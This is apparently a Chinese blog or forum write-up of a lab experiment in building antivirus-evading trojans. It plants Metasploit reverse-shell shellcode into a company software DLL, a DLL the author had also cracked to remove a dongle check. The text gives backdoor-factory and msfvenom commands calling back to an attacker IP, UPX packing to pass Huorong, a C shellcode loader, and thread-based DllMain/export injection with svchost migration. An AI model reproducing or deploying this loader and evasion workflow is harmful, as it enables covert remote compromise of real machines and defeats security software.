利用shellcode在dll中写入恶意代码的实验
上学的时候被网络安全老师抓过去实训,无意间接触到了kali,现在工作摸鱼就尝试了一下网上常说的利用shellcode本地编译生成木马,对机器进行入侵操作,现将这两天的结果记录报告一下。
参考文章地址如下:
https://www.cnblogs.com/yyxianren/p/12427004.html
https://www.cnblogs.com/backlion/p/9484949.html
https://xz.aliyun.com/t/2536
https://www.secpulse.com/archives/123300.html
https://blog.csdn.net/zkwniky/article/details/78030268
https://blog.csdn.net/zyhse/article/details/106604570
https://zhuanlan.zhihu.com/p/97418361
https://blog.csdn.net/junbopengpeng/article/details/38044533
https://www.cnblogs.com/ay-a/p/8762951.html
01 实验环境
Vmware虚拟机(攻击机):Kali
Vmware虚拟机(受害机):Windows 7 X64 sp1
使用工具如下:
Metasploit FrameWork(MSF)
Msfvenom(用于生成后门木马进行测试)
Upx(用于对木马文件进行加壳)
BackDoor-Factory(用于捆绑木马)
Visual Studio 2019(用于编译shellcode)
Fiddler(用于捕获加载exploit的url)
02 第一次实验(使用Backdoor-Factory进行恶意shellcode植入)
在很早之前,有在简书看过大佬利用QQ的dll进行木马植入,所以第一时间想到了这个backdoor。
引用一下backdoor-factory的介绍:
BackDoor-factory,又称后门工厂(BDF),BDF是也是一款老牌的免杀神器,其作者曾经在2015年的blackhat大会上介绍过该工具。但是作者已经于2017年停止更新,免杀效果就算现在来看也还算不错的。
原理:可执行二进制文件中有大量的00,这些00是不包含数据的,将这些数据替换成payload,并且在程序执行的时候,jmp到代码段,来触发payload
backdoorfactory使用apt也是可以安装的,但是包管理器里面的backdoorfactory是有问题的,无法正常识别pe文件,所以在github上面搜索bdf使用git自行clone下来即可。
这里有个坑,在kali 2020版本以后,没有为python2.x版本提供pip,默认pip都是装到3.x里面的,所以安装的时候要去搜一下kali2020怎么给python2安装pip,不然的话是没有办法使用bdf的,具体这里不做阐述。
这里我选用的载体是我们公司用的软件目录下其中的一个dll,名字就叫A.dll
吧。
首先使用backdoorfactory查询是否支持path:
python backdoor.py -f ../A.dll -S
输出结果如下图所示:
可以看到,这是一个正常的pe文件。
接着我们使用如下罗列出可使用的payload:
python backdoor.py -f ../A.dll -s show
输出内容如下图:
接下来就是设置payload并且生成新的dll
ython backdoor.py -f ../elepEx.dll -s meterpreter_reverse_https_threaded -P 4444 -H 192.168.0.77 -o 1.dll
执行完毕会提示如下信息,我们在bdf目录下面找到dll存放的目录,里面便是被path过的dll文件了
但是如果直接拖入到物理机中,这种被path过得文件是百分百报毒的,如下图所示:
先不说能不能用,第一步就失败了,那么我们来试试看加壳能否蒙混过关
直接在目录内使用upx 1.dll
进行加壳操作。
看到以下提示就说明加壳成功了:
接着再次拖入物理机中,幸运的是,没有出现报毒的情况。
并且被加载的dll文件也是正常使用的。
那么接下来就可以在msf中设置监听,来测试一下能否逃过动态检测。
在msf中使用 exploit/mutil/handler模块,同时设置好payload,这里应该使用的是reverse_https,设置好lhost和lport,执行exploit等待即可。
经过测试,无一例外的,我尝试了诸多dll文件,均没有成功获取到sessions,其中最主要的dll因为被插入恶意代码导致了dll文件损坏,后期没有继续尝试exe文件了,因为主要就是为了对dll文件入手。
### 03 第二次实验(使用msfvenom生成shellcode进行本地编译调用)
backdoorfactory进行实验失败后,我尝试了一种我从未使用过的方式:使用msfvenom生成shellcode,在本地编译以后使用。
在使用之前,我习惯先使用如下命令来列出所有的编码器:
msfvenom -l encoders
因为这其中尝试的编码器比较多,在这里也是不可能全写下来我全部的测试过程的,所以接下来会做一些概括,减少文章篇幅数量。
我们使用如下命令,来获取c语言格式的shellcode:
msfvenom -p windows/meterpreter/reverse_http -i 12 -e x86/shikata_ga_nai LHSOT=192.168.0.77 LPORT=4444 -f c
其中-f参数表示的就是获取的格式,这里指定为了c格式,-i表示编码次数,一般来说12以上效果是最好的,-e表示编码器,常用的编码器编码x86/shikata_ga_nai
输入完成以后我们会得到如下内容(这里稍做处理):
unsigned char buf[] =
"\xd9\xf6\xd9\x74\x24\xf4\x5f\xbd\x75\xc9\xaf\x0b\x29\xc9\xb1"
"\xca\x31\x6f\x19\x03\x6f\x19\x83\xc7\x04\x97\x3c\x74\xc2\xe9"
"\xbd\xec\x2e\xcc\x1b\x86\xf4\x1a\xc1\x4c\x3c\x53\x35\x11\x54"
"\x6f\x8b\x64\xbf\x8c\x9e\x9e\x5d\x65\xe0\x89\xc2\x72\x75\x2e"
"\x05\x5e\x9b\x30\xd8\xda\x50\x7b\x4b\x6b\xae\x9c\x53\x19\x1f"
......
.....
接下来我们需要使用我们本地的编译器,来将这段二进制数据加载到内存中运行。
我们新建一个控制台程序,然后来到项目属性,将下图所示的地方更为多线程,否则编译将会报错。
接着我们将如下代码粘贴进去:
#include "windows.h"
#include "stdio.h"
unsigned char buf[] =
"\xb8\xae\x8f\x40\x93\xda\xc2\xd9\x74\x24\xf4\x5a\x2b\xc9\x66"
"\xb9\x21\x01\x31\x42\x15\x83\xea\xfc\x03\x42\xbf\x6d\xb5\x49"
"\x62\xa8\x42\x4a\x68\x11\x9a\x5b\xf6\x1f\xc6\x5a\x48\x98\x60"
"\xcd\x8d\x16\xfd\xf7\x6e "
...
void main()
{
LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}
我们来进行编译,此时会发现火绒会对我们生成的exe进行报毒
后期就是我不断地更换编码器,将-i参数调整到15、30、70、100次,不报错的基本运行不了,可以运行的都报错,于是我便想到使用upx进行加壳,看看火绒能否识别到。
对其进行加壳,再拿到物理机中来。。。。
这里的话只讲以下我昨天研究出来的结果,目前已经被火绒纳入病毒库了
昨天的大致流程如下:
1、获取到shellcode,进行编译,尝试多次编码器、提高编码次数,无效
2、退出火绒,编译exe,对exe进行upx加壳,重新让火绒识别,识别结果为“安全”。
但是到这里没有结束,这只是逃避了静态检测,然而最主要的还是杀毒软件中的静态检测,因为火绒已经把我们样本加入病毒库了,所以现在来研究一下基于windows/meterpreter/reverse_http
载荷的攻击流程是什么样的。
通过载荷名字可以看到,应该是使用http来进行受害机器与攻击机器的连接。
我们首先编译我们用来进行http攻击的样本文件。
当我们编译完成,并且进行调用的时候,火绒开始报毒,如下图:
提示我们正在被后门病毒攻击,并且表示已经处理。
此时我们回到攻击机器进行查看,我们在meterpreter中执行screenshot进行屏幕截图
发现即使在火绒提示有病毒的情况下,还是可以继续存活在受害机器中。
并且通过实验还可以知道,正常提权也是没有问题的,期间火绒没有任何报毒情况。
后期知道设置msf中的stage参数可以来规避这种报毒。
我们回到msf中,设置stage参数。如下图所示
根据查阅的资料显示,stage参数应该是在攻击过程中对http攻击的链接进行二次编码加密,来pass安全软件。
当我们设置了stage参数以后,再次执行exploit,同时受害机器执行木马,结果如下:
可以看到,我们正常拿到了sessions,同时上一次的安群日志显示的还是上一次被攻击的记录。
那么,我们需要来看以下这个木马病毒在启动的时候,发送了哪些数据包
我们使用fidder
进行全局监听,来捕获http数据包
我们运行起来之后,可以看到快速发送给了攻击机多个数据包
同时还有一个post数据包,post数据包中具体是什么还不清楚,可能就是攻击载荷吧,用来传递信息的(不太懂)
我们记录下这个地址,关闭我们的木马
当我们访问这个url的时候,攻击机立马收到了回馈,所以那么多数据包就是用来和攻击机建立持久连接的,那么既然http的形式会导致火绒报web病毒,那我们用tcp的方式来试试看,为了测试tcp是否也会被检测到,我们需要把前面设置的stage给取消掉。
我们使用unset命令来取消设置的参数
使用set payload
命令来重新设置载荷为reverse_tcp,同时重新生成一个tcp的样本木马。
当我们获取到sessions进入到受害机器内部的时候,火绒没有检测到任何异常。
我们还是进行提权操作,也是正常执行,没有任何异常。
所以对于tcp的连接,如果杀毒软件静态检测没有检测到的话,木马被执行以后杀毒软件是不会做出任何反应的。
这里说个小tips:一般来说生成的木马程序,比如exe,程序在执行的时候session就一直保持着,如果手动结束,这个session就结束了,虽然可以后期在meterpreter中使用migrate来将session迁移,但是msfvenom提供了这样一个迁移选项,在程序被打开的时候就可以立马迁移到指定的进程中,我们常用的就是svchost进程,一般这个进程是不可以结束的。所以我们可以使用参数 PrependMigrate=true PrependMigrateProc=svchost.exe来指定生成的shellcode要迁移到哪个进程中去。
由于我生成的木马样本是携带了这个参数的,所以在获取到session以后执行exit程序不会关闭,退出的是寄生于svchost.exe中的程序。
04 编写带有恶意shellcode的dll文件
前面提到我们公司的软件中的dll,公司软件是因为我刚入职20天的时候,加密狗丢了,早上要外出,比较着急,看了一眼是c#写的软件,就去花,看了一下逻辑把exe判断加密狗的流程给弄掉了,后面的话看到了dllimport,于是就想可以编写一个有一样方法和返回值的dll,进行替换,分析了两周然后写了个破解的dll,于是打算用这个dll的源文件进行实验。
首先我们在源文件内部写上一个方法,用于调用恶意shellcode。
接着我们在软件加载dll以后第一次调用的方法处,调用这个TCP_Connect方法(因为一些原因需要马赛克掉关键信息):
接着我们编译生成为dll
可以看到,火绒没有任何的警告信息,所以编译通过,接下来我们主动查杀试试。
火绒没有报告任何问题。接下来放入软件目录,直接使用软件,同时攻击机开启监听。
可以看到,当我们执行软件的时候,攻击机获取到目标机器的session。
但是也发现了一个问题,那就是软件直接卡死了。
于是结束掉软件,我们再来看一下session
我们使用截图指令,可以正常截图,此时的shellcode已经迁入了svchost.exe中,所以软件关闭对session没有任何影响。
同时,因为是tcp连接,所以火绒没有做出任何反应。
http不开启stage设置的话,也是报毒的,这里不作演示。
此时有点郁闷,那么岂不是软件运行的时候就会卡死了吗?
这时想起线程的概念,或许我可以把这个函数加入到线程中执行。
立马搜索到了一些信息,使用pthread库来进行多线程编程。
配置不说了,特别麻烦。
立马编译,替换运行试试。
立马报错了,看来这个方法不可行。
(震惊,因为我都是已经实验一次从头写文章的,有时候会多验证一些方法,刚才试了个方法居然成了)
(不过还是来说说坑)
那么接着我就找了一下有没有不需要程序调用dll方法,内部函数也可以执行的。于是找到了dllmain这个方法,样子如下:
BOOL APIENTRY DllMain(HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
//pthread_t p1;
//pthread_create(NULL,&p1,TCP_Connect,NULL,NULL,NULL);
//我继续在这里使用线程
return TRUE;
}
结果还是和上面一样,报错,于是搜索原因。
本来是想搜索在dll内部调用线程。
才知道不能随便在dll内部使用线程。
dll的加载使用了底层代码的全局锁,在这个锁的过程中不能使用等待函数,否则程序就会死锁。你可以创建线程,但不能等待线程结束。
乍一看好像和我要写的也没啥关系,于是又百度了一篇windows多线程编程。
作者给的例子如下:
/* 创建第一个线程。主进程结束,则撤销线程。 */
#include<Windows.h>
#include<stdio.h>
DWORD WINAPI ThreadFunc(LPVOID);
void main()
{
HANDLE hThread;
DWORD threadId;
hThread = CreateThread(NULL, 0, ThreadFunc, 0, 0, &threadId); // 创建线程
printf("我是主线程, pid = %d\n", GetCurrentThreadId()); //输出主线程pid
Sleep(2000);
}
DWORD WINAPI ThreadFunc(LPVOID p)
{
printf("我是子线程, pid = %d\n", GetCurrentThreadId()); //输出子线程pid
return 0;
}
那我只要改变修饰(我也不知道那个WINAPI是啥,照着抄吧,小弟c语言没学过,还请各位大佬海涵)
就像下面这样:
void WINAPI TCP_Connect()
{
LPVOID Memory = VirtualAlloc(NULL, sizeof(buf_tcp), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf_tcp, sizeof(buf_tcp));
typedef void(*EXCUTE)();
EXCUTE Ex = (EXCUTE)Memory;
Ex();
//VirtualFree(Memory, 0, MEM_RELEASE);
}
BOOL APIENTRY DllMain(HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
CreateThread(NULL,NULL,TCP_Connect,NULL,NULL,NULL);
return TRUE;
}
之后还是老样子,编译,生成。
这里说一下,我不运行了,跑起来以后开了无数个线程(应该是我没有用switch限定何时执行shellcode),然后火绒一直报毒,电脑也快卡死了,所以我真的不敢运行了。后台开了几百个线程。
这里特别说一下在编译的时候发现杀毒软件检测的几个流程,我就不单独开个目录说了。
01 针对普通shellcode(.exe),一般编译就可以以后检测到你是否为病毒
02 针对编译成dll的shellcode,我发现如果将恶意代码放只会被调用执行的代码段中,编译通过没问题
如果将恶意代码执行的代码放在DLLMAIN函数中(也就是会主动执行的入口),火绒立马就会报毒。
同时,如果一个exe在编译以后运行不起来的,火绒一般不会报毒。
将上面的memcpy和获取memory分别丢在不同函数,通过返回值调用,火绒不会报毒,但是软件也运行不起来。
所以,大致猜测火绒的执行流程是这样:
针对exe程序:检测main入口点,并且其在内部执行一遍,检测是否含有病毒特征。如果exe编译以后运行不起来,那他自己也没法检测。所以我个人猜测火绒应该在内部已经执行了一遍。
针对dll程序:如果有dllmain函数,就会对在dllmain函数中的代码进行编译执行,查找是否为病毒特征,如果是的话就会报毒,但是如果在导出函数中插入病毒的执行代码。火绒貌似是不进行检测的。
好了,言归正传,继续来说一下刚才dll中执行线程的事情,我们不想让软件卡死,那就试试最后一种,在导出函数中调用create_thread函数来试试
siaisiao 662772727(i P)
{
//pthread_t p1;
//pthread_create(NULL,&p1,TCP_Connect,NULL,NULL,NULL);
//TCP_Connect();
CreateThread(NULL, NULL, TCP_Connect, NULL, NULL, NULL);
return ;//绕过加密狗
}
老样子,编译,执行
虽然成功了,但是看一张图,立马就会吓哭
是的,没错,这就是执行了create_thread的结果。电脑很卡。
于是我就去百度找答案,一搜这个函数名字,赫然在目的就是那个几个字:内存泄露
内存泄露:内存泄漏(Memory Leak)是指程序中已动态分配的堆内存由于某种原因程序未释放或无法释放,造成系统内存的浪费,导致程序运行速度减慢甚至系统崩溃等严重后果。
文章我没看了,就这几个字我就知道问题了,不能用create_thread来做
好在找到这个文章:https://www.cnblogs.com/ay-a/p/9135652.html
具体内容就是使用_beginthreadex
来替代createthread函数
例子如下:
#include<process.h>
#include<windows.h>
#include<iostream>
using namespace std;
unsigned int __stdcall ThreadFun(PVOID pM)
{
printf("线程ID 为 %d 的子线程输出: Hello World\n", GetCurrentThreadId());
return 0;
}
int main()
{
const int THREAD_NUM = 5;
HANDLE handle[THREAD_NUM];
for (int i = 0; i < THREAD_NUM; i++)
handle[i] = (HANDLE)_beginthreadex(NULL, 0, ThreadFun, NULL, 0, NULL);
WaitForMultipleObjects(THREAD_NUM, handle, TRUE, INFINITE);
return 0;
}
那我们就来改写以下我们加载恶意shellcode的代码:
void __stdcall TCP_Connect()
{
LPVOID Memory = VirtualAlloc(NULL, sizeof(buf_tcp), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf_tcp, sizeof(buf_tcp));
typedef void(*EXCUTE)();
EXCUTE Ex = (EXCUTE)Memory;
Ex();
//VirtualFree(Memory, 0, MEM_RELEASE);
}
dsaadasdsa sasas(iasdada, iadadadadads)
{
//pthread_t p1;
//pthread_create(NULL,&p1,TCP_Connect,NULL,NULL,NULL);
//TCP_Connect();
//CreateThread(NULL, NULL, TCP_Connect, NULL, NULL, NULL);
_beginthreadex(NULL,0,TCP_Connect,NULL,0,NULL);
return adad;//绕过加密狗
}
老样子,也是照抄,然后编译,生成dll,替换,运行。
先来记录一下运行之前的计算机状态
然后我们开始运行,如下图所示(感觉速度都快很多)
此时我们来观察任务管理器的信息
基本没差别,很舒服。
这里引用大佬总结出为什么createthread会导致内存泄露的原因:
1、使用_beginthread(ex)的理由在于这个函数对CRT的TLS数据进行了适当的分配和释放操作,避免内存泄露
- 内存泄露存在的原因,是由CreateThead创建的线程不会去检查CRT的TLS数据是否需要释放
各位有感兴趣的可以去下面地址了解:
https://blog.csdn.net/chexlong/article/details/46425807
https://www.cnblogs.com/ay-a/p/9135652.html
005 结语
这次测试就是属于上班摸鱼,太无聊了才尝试的,从我的分析过程中大家也看到了,我是个脚本小子,希望各位大佬海涵。
同时提醒论坛各位,在平时上网过程中,一定要对陌生文件保持高度警惕,不认识的人给你的软件一定不要轻易打开。
目前这个木马样本的的火绒动态检测已过,360昨天测得不是加载dll这种形式,就是普通的exe文件,360也和火绒一样的效果,没有检测到,后面我把样本放在了vc上,50个引擎,7个报毒,43个识别为正常文件,后期就是今天下午,火绒静态检测识别为木马,360未知,win10的杀毒,静态可以检测出来,但是dll都没有测试过,至此,分析全部结束,谢谢各位大佬。